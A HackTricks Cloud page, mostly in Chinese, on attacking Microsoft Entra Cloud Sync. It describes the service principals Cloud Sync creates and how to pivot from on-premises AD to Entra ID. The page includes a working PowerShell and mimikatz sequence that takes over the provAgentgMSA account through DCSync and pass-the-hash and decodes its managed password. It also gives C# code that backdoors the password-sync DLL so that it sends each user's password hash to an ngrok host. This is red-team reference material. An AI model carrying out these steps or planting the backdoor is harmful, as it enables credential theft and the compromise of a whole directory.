Az - Cloud Sync
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
基本信息
Cloud Sync 基本上是 Azure 将 AD 的用户 synchronize the users from AD into Entra ID 的新方式。
From the docs: Microsoft Entra Cloud Sync is a new offering from Microsoft designed to meet and accomplish your hybrid identity goals for synchronization of users, groups, and contacts to Microsoft Entra ID. It accomplishes this by using the Microsoft Entra cloud provisioning agent instead of the Microsoft Entra Connect application. However, it can be used alongside Microsoft Entra Connect Sync.
生成的主体
为此,会在 Entra ID 和本地目录中创建一些主体:
- 在 Entra ID 中会创建用户
On-Premises Directory Synchronization Service Account(ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com),并赋予角色Directory Synchronization Accounts(d29b2b05-8046-44ba-8758-1e26182fcf32)。
Warning
This role used to have a lot of privileged permissions and it could be used to escalate privileges even to global admin. However, Microsoft decided to remove all the privileges of this role and assign it just a new one
microsoft.directory/onPremisesSynchronization/standard/readwhich doesn’t really allow to perform any privileged action (like modifying the password or atribbutes of a user or adding a new credential to a SP).
-
在 Entra ID 中还会创建组
AAD DC Administrators,初始没有成员或所有者。如果使用Microsoft Entra Domain Services,该组会很有用。 -
在 AD 中,通常会创建 Service Account
provAgentgMSA,其 SamAcountName 类似pGMSA_<id>$@domain.com(Get-ADServiceAccount -Filter * | Select Name,SamAccountName),或者使用自定义账号(需要 these permissions is needed)。通常会创建默认账号。
Warning
Among other permissions the Service Account
provAgentgMSAhas DCSync permissions, allowing anyone that compromises it to compromise the whole directory. For more information about DCSync check this.
Note
默认情况下,已知特权组(如 Domain Admins)中 adminCount 属性为 1 的用户出于安全原因不会被同步到 Entra ID。然而,其他属于特权组但没有此属性的用户,或直接被分配高特权的用户,可能会被同步。
Password Sychronization
The section is very similar to the one from:
- Password hash synchronization 可以被启用,从而让用户使用 AD 的密码登录 Entra ID。此外,每当 AD 中的密码被修改时,它也会在 Entra ID 中更新。
- Password writeback 也可以启用,允许用户在 Entra ID 中修改密码并自动同步回本地域。但根据 current docs,这需要使用 Connect Agent,请参见 Az Connect Sync section 以获取更多信息。
- Groups writeback:此功能允许将 Entra ID 的组成员关系同步回本地 AD。这意味着如果用户被添加到 Entra ID 中的某个组,他们也将被添加到 AD 中对应的组。
Pivoting
AD –> Entra ID
- 如果 AD 用户正在从 AD 同步到 Entra ID,则从 AD 横向移动到 Entra ID 十分直接,只需 泄露某个用户的密码或更改某个用户的密码,或创建一个新用户并等待其同步到 Entra ID(通常仅需几分钟)。
因此例如你可以:
- 攻破
provAgentgMSA账户,执行 DCSync 攻击,破解某个用户的密码,然后使用该密码登录 Entra ID。 - 在 AD 中创建一个新用户,等待其同步到 Entra ID,然后使用该用户登录 Entra ID。
- 修改 AD 中某个用户的密码,等待其同步到 Entra ID,然后使用该密码登录 Entra ID。
要攻破 provAgentgMSA 凭据:
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
现在你可以使用 gMSA 的哈希,通过使用 provAgentgMSA 账户对 Entra ID 执行 Pass-the-Hash 攻击,并保持持久性,从而能够对 AD 执行 DCSync 攻击。
For more information about how to compromise an Active Directory check:
Active Directory Methodology - HackTricks
Note
注意:在 Cloud Sync 配置中无法基于属性为已同步用户分配 Azure 或 EntraID 的角色。不过,为了自动授予已同步用户权限,某些来自 AD 的 Entra ID groups 可能被赋予权限,使这些组内的已同步用户也获得这些权限,或者可能使用 dynamic groups,因此应始终检查动态规则和潜在的滥用方式:
Regarding persistence this blog post suggest that it’s possible to use dnSpy to backdoor the dll Microsoft.Online.Passwordsynchronisation.dll located in C:\Program Files\Microsoft Azure AD Sync\Bin that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. 这些哈希在类 PasswordHashGenerator 中生成,博客建议添加一些代码,使该类看起来像下面这样(注意 use System.Net 和 WebClient 用于 exfiltrate 密码哈希):
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}
Entra ID –> AD
-
如果启用了 Password Writeback,你可以修改部分来自 Entra ID 的用户密码;如果你有对 AD 网络的访问,就可以使用这些凭据进行连接。更多信息请查看 Az Connect Sync section ,因为 password writeback 是通过该 agent 配置的。
-
目前 Cloud Sync 也允许 “Microsoft Entra ID to AD”,但经过较长时间的测试我发现它无法将 EntraID 用户同步到 AD,它只能同步那些使用 password hash 同步且来自与目标同步域属于同一域林的域的 EntraID 用户,详见 https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:
- 这些组只能包含本地同步的用户和 / 或额外的云创建的安全组。
- 已同步并且是此云创建安全组成员的本地用户帐户可以来自同一域或跨域,但它们都必须来自同一域林。
因此,该服务的攻击面(和实用性)大大降低,因为攻击者需要入侵最初用于同步用户的 AD,才能在另一个域中攻陷用户(而且显然两者必须位于同一域林)。
枚举
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

